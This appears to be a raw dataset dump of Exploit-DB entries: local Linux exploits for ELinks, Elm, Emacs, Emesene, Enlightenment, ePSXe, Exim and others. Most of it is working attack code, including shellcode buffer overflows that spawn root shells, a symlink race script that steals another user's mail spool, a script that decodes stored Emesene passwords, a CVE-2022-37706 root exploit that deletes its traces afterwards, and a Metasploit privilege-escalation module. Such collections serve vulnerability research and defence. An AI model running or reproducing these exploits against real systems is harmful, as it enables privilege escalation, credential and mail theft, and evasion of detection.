deardaniel/secdata-raw huggingface dataset:
Exploit-DB #29954
Description: ELinks Relative 0.10.6/011.1 - Path Arbitrary Code Execution
Type: local
Platform: linux
Date: 2007-05-07
Author: Arnaud Giersch

Exploit:
source: https://www.securityfocus.com/bid/23844/info

ELinks is prone to an arbitrary code-execution vulnerability.

An attacker can exploit this issue to potentially execute arbitrary code with the privileges of the user running the affected application.

This issue requires an attacker to trick an unsuspecting victim into running the vulnerable application in an attacker-controlled directory.

This issue affects ELinks 0.11.1; other versions may also be vulnerable. 

$ mkdir -p /tmp/elinks/{run,po}
$ cp /usr/share/locale/fr/LC_MESSAGES/elinks.mo /tmp/elinks/po/fr.gmo
$ dd if=/dev/urandom of=/tmp/elinks/po/fr.gmo bs=1024 seek=1 count=200
$ cd /tmp/elinks/run
Exploit-DB #22836
Description: Elm 2.3/2.4 - TERM Environment Variable Local Buffer Overrun
Type: local
Platform: linux
Date: 1997-05-13
Author: kokanin

Exploit:
source: https://www.securityfocus.com/bid/8030/info

A buffer overrun has been discovered in Elm. The problem occurs due to insufficient bounds checking performed before copying user-supplied data into an internal memory buffer. Specifically, a TERM environment variable containing excessive data would cause a buffer within Elm to be overrun.

As Elm is installed setgid on some systems, the exploitation of this vulnerability could potentially allow for the elevation of local privileges.

# DSR-korean-elm.pl - kokaninATdtors.net vs. /usr/ports/korean/elm
# offset, retaddr and shellcode is for my FreeBSD 4.7-RELEASE, YMMV
# reinventing the wheel, http://www.insecure.org/sploits/elm.curses.overflow.html
# shellcode by zillionATsafemode.org
# ko-elm-2.4h4.1      ELM Mail User Agent, patched for Korean E-Mail
# elm is setgid 'bin' 

$len = 512;
$ret = 0xbfbffd68;
$nop = "\x90";
$offset = 0;
$shellcode = 	"\x31\xc0\x50\x50\xb0\x17\xcd\x80\x31\xc0\x50\x68".
		"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50".
		"\x54\x53\x50\xb0\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
              
if (@ARGV == 1) {
    $offset = $ARGV[0];
}
  
for ($i = 0; $i < ($len - length($shellcode)); $i++) {
    $buffer .= $nop;
}
$buffer .= $shellcode;
$new_ret = pack('l', ($ret + $offset));
local($ENV{'EGG'}) = $buffer; 
local($ENV{'TERM'}) = $new_ret x 12; 
exec("elm");
Exploit-DB #20291
Description: Elm 2.4 - 'filter' Arbitrary Mail Disclosure
Type: local
Platform: linux
Date: 1995-12-26
Author: David J Meltzer

Exploit:
source: https://www.securityfocus.com/bid/1802/info

Elm is a popular Unix mail client. A vulnerability exists in Elm's 'filter' utility which can grant an attacker access to any user's mail spool. By exploiting a race condition which exists in the creation of temporary files, an unauthorized user can delete an open temporary file and replace it with a symbolic link pointing to any other user's mail spool. The mailmessage function will then follow this link, and copy the contents of the victim's mail file to that of the attacker. The obvious result is that the attacker is able to read the victim's mail messages.


#!/bin/sh
# This shell script exploits a problem with filter(1L)
# it will follow symbolic links, on a read allowing
# us to steal a users mail file.
#
# Usage: fread.sh victimsusername
#
# Contents will be stored in ~/victimsusername.mail
#
# Dave M. (davem@cmu.edu <mailto:davem@cmu.edu>)
#

cp /var/spool/mail/$LOGNAME ~
cp /dev/null /var/spool/mail/$LOGNAME
echo 'if (always) forward' $LOGNAME > /tmp/fread-ftr.tmp

cat << _EOF_ >> /tmp/fread-msg.tmp
From: Dave
To: $LOGNAME
Subject: Filter Exploit

_EOF_

echo sleep 2 > /tmp/fread-sh.tmp
echo cat /tmp/fread-msg.tmp >> /tmp/fread-sh.tmp
chmod +x /tmp/fread-sh.tmp
/tmp/fread-sh.tmp|filter -f /tmp/fread-ftr.tmp &
FREAD=`ps|grep 'filter -f'|grep -v grep|awk '{print $1}'`
rm -f /tmp/filter.$FREAD
ln -s /var/spool/mail/$1 /tmp/filter.$FREAD
sleep 2
rm -f /tmp/fread-ftr.tmp /tmp/fread-msg.tmp /tmp/fread-sh.tmp
/tmp/fread-ftr.tmp /tmp/filter.$FREAD
FREAD=
cp /var/spool/mail/$LOGNAME ~/$1.mail
cp ~/$LOGNAME /var/spool/mail
more ~/$1.mail
Exploit-DB #20645
Description: Elm 2.5.3 - Alternative-Folder Buffer Overflow
Type: local
Platform: linux
Date: 2001-02-13
Author: _kiss_

Exploit:
// source: https://www.securityfocus.com/bid/2403/info

There is a buffer overflow in elm 2.5 PL3. This overflow is accessible by passing a long string to the -f (Alternative-Folder) command-line option. This vulnerability may not be restricted to this version of elm. 

/***
    -------------
    elm253-exploit.c
    -------------
***/

#include <stdlib.h>

#define NOP 0x90
#define LEN 356
#define OFFSET 0
#define RET 0xbffffa64

unsigned long dame_sp() {
        __asm__("movl %esp,%eax");
}

void main() {

        static char shellcode[]=
/* "\x31\xc0"   */              /* xorl %eax,%eax        */
/* "\x31\xdb"   */              /* xorl %ebx,%ebx        */
/* "\xb0\x17"   */              /* movb $0x17,%al        */
/* "\xcd\x80"   */              /* int $0x80             */
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d"
"\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";

        int i=0;
        int cont=0;
        char buffer[LEN+4];
        char kid[6+LEN+4];

        printf("-------------------------------------\n");
        printf("elm buffer overflow exploit by _kiss_\n");
        printf("-------------------------------------\n");

        for (i=0;i<=LEN;i+=4)
                *(long *) &buffer[i] = RET;

        for (i=0;i<LEN-strlen(shellcode)-100;i++)
                buffer[i]=NOP;

        for (i=LEN-strlen(shellcode)-100;i<LEN-100;i++)
                buffer[i]=shellcode[cont++];

        strcpy(kid,"KID=");
        strcat(kid,buffer);
        putenv(kid);
        system("/usr/local/bin/elm -f $KID");
}
Exploit-DB #26492
Description: Emacs 2.1 - Local Variable Arbitrary Command Execution
Type: local
Platform: linux
Date: 2002-12-31
Author: Georgi Guninski

Exploit:
source: https://www.securityfocus.com/bid/15375/info

Emacs is susceptible to an arbitrary command execution vulnerability with local variables. This issue is due to insufficient sanitization of user-supplied input.

By modifying a text file to include local variables containing containing shell commands in an 'eval' statement, attackers may cause arbitrary commands to be executed.

This vulnerability allows an attacker to execute arbitrary commands with the privileges of the emacs user. This gives an attacker the ability to gain remote access to computers running the vulnerable software.

/* -*- Mode: text; tab-width:20; Eval: Mode -*- -*- forms -*- */

Emacs better than windoze.

;;; Local Variables: ***
;;; mode: text ***
;;; mode-name: #("Microsoft sux" 0 4 (display (when (eval (start-process "/usr/bin/yes" "/usr/bin/yes" "/usr/bin/yes" "msux") ) . xxx) ) ) ***
;;; comment-start: ";;; " ***
;;; comment-end:"***" ***
;;; End: ***
Exploit-DB #19517
Description: Emesene 2.12.5 - Password Disclosure
Type: local
Platform: linux
Date: 2012-07-01
Author: Daniel Godoy

Exploit:
 # Exploit Title: Emesene Password Disclosure
# Category: Local
# Date: 29/06/2012
# Author: Daniel Godoy
# Author Mail: DanielGodoy[at]GobiernoFederal[dot]com
# Author Web: www.delincuentedigital.com.ar
# Sofware web: http://blog.emesene.org/p/downloads.html
# Tested on: Linux

The only requirement to run the script is that the customer is
highlighted remember password.

[Comment]
Greetz: Hernan Jais, Alfonso Cuevas, SPEED, hacklego, Incid3nt,
Maximiliano Soler, Pablin77,_tty0, Login-Root,Knet,Kikito,Duraznit0,
InyeXion, ksha, zerial,LinuxFer, Scorp
    her0, r0dr1 y demas user de RemoteExecution
    www.remoteexecution.info www.remoteexcution.com.ar
    #RemoteExecution Hacking Group

[PoC]

#!/usr/bin/perl
#/home/$HOME/.config/emesene1.0
system("clear");
print "[ EMESENE PASSWORD DISCLOSURE ]\n";
print "TESTED ON UBUNTU 10.04 LTS\n";
my $pwn="users.dat";
open (ENTRADA,"<$pwn") || die "ERROR: No puedo abrir el fichero $pwn\n";
$cantidad++ while <ENTRADA>;
close (ENTRADA);
open (ENTRADA,"<$pwn") || die "ERROR: No puedo abrir el fichero $pwn\n";
@source = <ENTRADA>;
for($i = 0; $i < $cantidad; $i++)
    {
    @password= split(":", $source[$i]);
    print "Mail: ".$password[0]." Password PWND! => ";
    print pack("H*", $password[1]), "\n";       
    }
close (ENTRADA);

-------------------------
Correo enviado por medio de MailMonstruo - www.mailmonstruo.com
Exploit-DB #34537
Description: EncFS 1.6.0 - Flawed CBC/CFB Cryptography Implementation
Type: local
Platform: linux
Date: 2010-08-26
Author: Micha Riser

Exploit:
source: https://www.securityfocus.com/bid/42779/info

EncFS is prone to design errors in its cryptographic implementation.

Three flaws have been identified that contribute to a weakening of the protections provided under CBC/CFB cipher mode.

Attackers may leverage these weaknesses to attack encrypted files through watermarking or other techniques. Successful attacks may disclose sensitive information. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34537.tar.gz
Exploit-DB #9627
Description: Enlightenment - Linux Null PTR Dereference Framework
Type: local
Platform: linux
Date: 2009-09-10
Author: spender

Exploit:
/* enlightenment[PII_REDACTED]07

   To create your own exploit module for enlightenment, just name it
   exp_whatever.c
   It will be auto-compiled by the run_exploits.sh script and thrown into
   the list of loaded exploit modules

   Each module must have the following features:
   It must include this header file, exp_framework.h
   A description of the exploit, the variable being named "desc"
   A "prepare" function: int prepare(unsigned char *ptr)
     where ptr is the ptr to the NULL mapping, which you are able to write to
     This function can return the flags described below for prepare_the_exploit
     Return 0 for failure otherwise
   A "trigger" function: int trigger(void)
     Return 0 for failure, nonzero for success
   A "post" function: int post(void)
     This function can return the flags described below for post_exploit
   A "get_exploit_state_ptr" function:
     int get_exploit_state_ptr(struct exploit_state *ptr)
     Generally this will always be implemented as:
     struct *exp_state;
     int get_exploit_state_ptr(struct exploit_state *ptr)
     {
        exp_state = ptr;
        return 0;
     }
     It gives you access to the exploit_state structure listed below,
     get_kernel_sym allows you to resolve symbols
     own_the_kernel is the function that takes control of the kernel
      (in case you need its address to set up your buffer)
     the other variables describe the exploit environment, so you can
     for instance, loop through a number of vulnerable socket domains
     until you detect ring0 execution has occurred.

   That's it!
*/

http://www.grsecurity.net/~spender/enlightenment.tgz
back: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33088-1.tgz (2009-enlightenment.tgz)

# milw0rm.com [2009-09-10]
Exploit-DB #51180
Description: Enlightenment v0.25.3 - Privilege escalation
Type: local
Platform: linux
Date: 2023-04-01
Author: nu11secur1ty

Exploit:
## Exploit Title: Enlightenment v0.25.3 - Privilege escalation
## Author: nu11secur1ty
## Date: 12.26.2022
## Vendor: https://www.enlightenment.org/
## Software: https://www.enlightenment.org/download
## Reference: https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2022-37706
## CVE ID: CVE-2022-37706
## Description:
The Enlightenment Version: 0.25.3 is vulnerable to local privilege escalation.
Enlightenment_sys in Enlightenment before 0.25.3 allows local users to
gain privileges because it is setuid root,
and the system library function mishandles pathnames that begin with a
/dev/.. substring
If the attacker has access locally to some machine on which the
machine is installed Enlightenment
he can use this vulnerability to do very dangerous stuff.

## STATUS: CRITICAL Vulnerability

## Tested on:
```bash
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=22.10
DISTRIB_CODENAME=kinetic
DISTRIB_DESCRIPTION="Ubuntu 22.10"
PRETTY_NAME="Ubuntu 22.10"
NAME="Ubuntu"
VERSION_ID="22.10"
VERSION="22.10 (Kinetic Kudu)"
VERSION_CODENAME=kinetic
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=kinetic
LOGO=ubuntu-logo
```

[+] Exploit:

```bash
#!/usr/bin/bash
# Idea by MaherAzzouz
# Development by nu11secur1ty

echo "CVE-2022-37706"
echo "[*] Trying to find the vulnerable SUID file..."
echo "[*] This may take few seconds..."

# The actual problem
file=$(find / -name enlightenment_sys -perm -4000 2>/dev/null | head -1)
if [[ -z ${file} ]]
then
	echo "[-] Couldn't find the vulnerable SUID file..."
	echo "[*] Enlightenment should be installed on your system."
	exit 1
fi

echo "[+] Vulnerable SUID binary found!"
echo "[+] Trying to pop a root shell!"
mkdir -p /tmp/net
mkdir -p "/dev/../tmp/;/tmp/exploit"

echo "/bin/sh" > /tmp/exploit
chmod a+x /tmp/exploit
echo "[+] Welcome to the rabbit hole :)"

${file} /bin/mount -o
noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u),
"/dev/../tmp/;/tmp/exploit" /tmp///net

read -p "Press any key to clean the evedence..."
echo -e "Please wait... "

sleep 5
rm -rf /tmp/exploit
rm -rf /tmp/net
echo -e "Done; Everything is clear ;)"

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2022-37706)
## Proof and Exploit:
[href](https://streamable.com/zflbgg)

## Time spent
`01:00:00`


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html and https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>
Exploit-DB #1029
Description: ePSXe 1.6.0 - 'nogui()' Local Privilege Escalation
Type: local
Platform: linux
Date: 2005-06-04
Author: Qnix

Exploit:
/* epsxe-e.c
           ePSXe v1.* local exploit
By: Qnix
e-mail: q-nix[at]hotmail[dot]com
ePSXe-website: www.epsxe.com

EXP-Sample:

root@Qnix:~/epsxe# gcc -o epsxe-e epsxe-e.c
root@Qnix:~/epsxe# ./epsxe-e

*************************************
      ePSXe v1.* local exploit
                 by
   Qnix  | Q-nix[at]hotmail[dot]com
*************************************

[~] Stack pointer (ESP) : 0xbffff568
[~] Offset from ESP     : 0x0
[~] Desired Return Addr : 0xbffff568

* Running ePSXe emulator version 1.6.0.
* Memory handlers init.
sh-2.05b# id
uid=0(root) gid=0(root) 
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)




*/


#include <stdlib.h>

char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";

unsigned long sp(void)
{ __asm__("movl %esp, %eax");}

int main(int argc, char *argv[])
{
   int i, offset;
   long esp, ret, *addr_ptr;
   char *buffer, *ptr;

   offset = 0;
   esp = sp();
   ret = esp - offset;

printf("\n ************************************* \n");
printf("      ePSXe v1.* local exploit          \n");
printf("                 by                  \n");
printf("   Qnix  | Q-nix[at]hotmail[dot]com   ");
printf("\n ************************************* \n\n");
printf("[~] Stack pointer (ESP) : 0x%x\n", esp);
printf("[~] Offset from ESP     : 0x%x\n", offset);
printf("[~] Desired Return Addr : 0x%x\n\n", ret);

buffer = malloc(600);

ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0; i < 600; i+=4)
{ *(addr_ptr++) = ret; }

for(i=0; i < 200; i++)
{ buffer[i] = '\x90'; }

ptr = buffer + 200;
for(i=0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode[i]; }

buffer[600-1] = 0;

execl("./epsxe", "epsxe", "-nogui", buffer, 0);

free(buffer);

   return 0;
}

// milw0rm.com [2005-06-04]
Exploit-DB #22190
Description: ESCPUtil 1.15.2 2 - Printer Name Local Buffer Overflow
Type: local
Platform: linux
Date: 2003-01-21
Author: Karol Wiesek

Exploit:
source: https://www.securityfocus.com/bid/6658/info

It has been reported that a buffer overflow in escputil exists. When supplied with excessively long arguments, it is possible to overwrite stack memory.

escputil is reportedly installed setgid 'sys' on Mandrake Linux, so it is possible that this issue may be exploited to execute arbitrary code with elevated privileges. Other distributions may also be affected if the utility is installed or runs with elevated privileges.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21001.tar.gz
Exploit-DB #39702
Description: Exim - 'perl_startup' Local Privilege Escalation (Metasploit)
Type: local
Platform: linux
Date: 2016-04-15
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local

  Rank = ExcellentRanking

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'Exim "perl_startup" Privilege Escalation',
      'Description'     => %q{
        This module exploits a Perl injection vulnerability in Exim < 4.86.2
        given the presence of the "perl_startup" configuration parameter.
      },
      'Author'          => [
        'Dawid Golunski', # Vulnerability discovery
        'wvu'             # Metasploit module
      ],
      'References'      => [
        %w{CVE 2016-1531},
        %w{EDB 39549},
        %w{URL http://www.exim.org/static/doc/CVE-2016-1531.txt}
      ],
      'DisclosureDate'  => 'Mar 10 2016',
      'License'         => MSF_LICENSE,
      'Platform'        => 'unix',
      'Arch'            => ARCH_CMD,
      'SessionTypes'    => %w{shell meterpreter},
      'Privileged'      => true,
      'Payload'         => {
        'BadChars'      => "\x22\x27", # " and '
        'Compat'        => {
          'PayloadType' => 'cmd cmd_bash',
          'RequiredCmd' => 'generic netcat netcat-e bash-tcp telnet'
        }
      },
      'Targets'         => [
        ['Exim < 4.86.2', {}]
      ],
      'DefaultTarget'   => 0
    ))
  end

  def check
    if exploit('whoami') == 'root'
      CheckCode::Vulnerable
    else
      CheckCode::Safe
    end
  end

  def exploit(c = payload.encoded)
    # PERL5DB technique from http://perldoc.perl.org/perlrun.html
    cmd_exec(%Q{PERL5OPT=-d PERL5DB='exec "#{c}"' exim -ps 2>&-})
  end

end
Exploit-DB #20900
Description: Exim 3.x - Format String
Type: local
Platform: linux
Date: 2001-06-06
Author: Megyer Laszlo

Exploit:
source: https://www.securityfocus.com/bid/2828/info

Exim is a free, open-source Mail Transfer Agent for Unix systems.

Exim is vulnerable to a locally exploitable format string attack which may compromise root access. The vulnerability exists only when the 'syntax checking' mode is turned on, which it is not by default.

The vulnerability has to do with handling of the hostname string in an email address argumenting the 'From:' field. If the syntax checking is enabled, then this vulnerability can be exploited to execute arbitrary code with root priviliges. 

Try this:
===8<======8<=======8<======
lez:~$ /usr/sbin/exim -bS
mail from:lez@lez
rcpt to:hax0r@lez
data
From:@@%p%p%p%p%p%p%p%p%p%p

.
===8<======8<=======8<=======

Somewhere in the answers you should see:
550 Syntax error in 'From' header: domain missing or malformed: failing address is:
@@0x80beba00x804d2690x80be6600x80be6680x80bd050(nil)(nil)(nil)(nil)0x80b9d40
Exploit-DB #756
Description: Exim 4.41 - 'dns_build_reverse' Local Buffer Overflow
Type: local
Platform: linux
Date: 2005-01-15
Author: Rafael Carrasco

Exploit:
/*
This proof-of-concept demonstrates the existence of the vulnerability
reported by iDEFENSE (iDEFENSE Security Advisory 01.14.05).
It has been tested against exim-4.41 under Debian GNU/Linux.
Note that setuid () is not included in the shellcode to avoid
script-kidding.
My RET is 0xbffffae4, but fb.pl can brute-force it for you.

-----------
Brute Force fb.pl:
-----------

#!/usr/bin/perl

$cnt = 0xbffffa10;

while (1) {
   $hex = sprintf ("0x%x", $cnt);
   $res = system ("./exploit $hex");
   printf "$hex : $res\n";
   $cnt += 4;
}

---------
exploit.c:
---------
*/

#define NOP 0x90
#define TAMBUF 368
#define INIC_SH 20
#include <stdlib.h>

int main (int argc, char **argv) {

   static char shellcode[]=
   "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"
   "\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e"
   "\x2f\x73\x68\x58";

   char buffer [TAMBUF + 1];
   char cadena [TAMBUF + 5];
   int cont;
   unsigned long ret = strtoul (argv[1], NULL, 16);

   for (cont = 0; cont < TAMBUF / 4; cont++)
           *( (long *) buffer + cont) = ret;

   for (cont = 0; cont < strlen (shellcode); cont++)
           buffer [cont + INIC_SH] = shellcode [cont];

   for (cont = 0; cont < INIC_SH; cont++)
           buffer [cont] = NOP;

   buffer [TAMBUF] = 0;
   printf ("RET = 0x%x\n", ret);
   strcpy (cadena, "::%A");
   strcat (cadena, buffer);
       execl ("/usr/sbin/exim", "./exim", "-bh", cadena, (char *) 0);
}

// milw0rm.com [2005-01-15]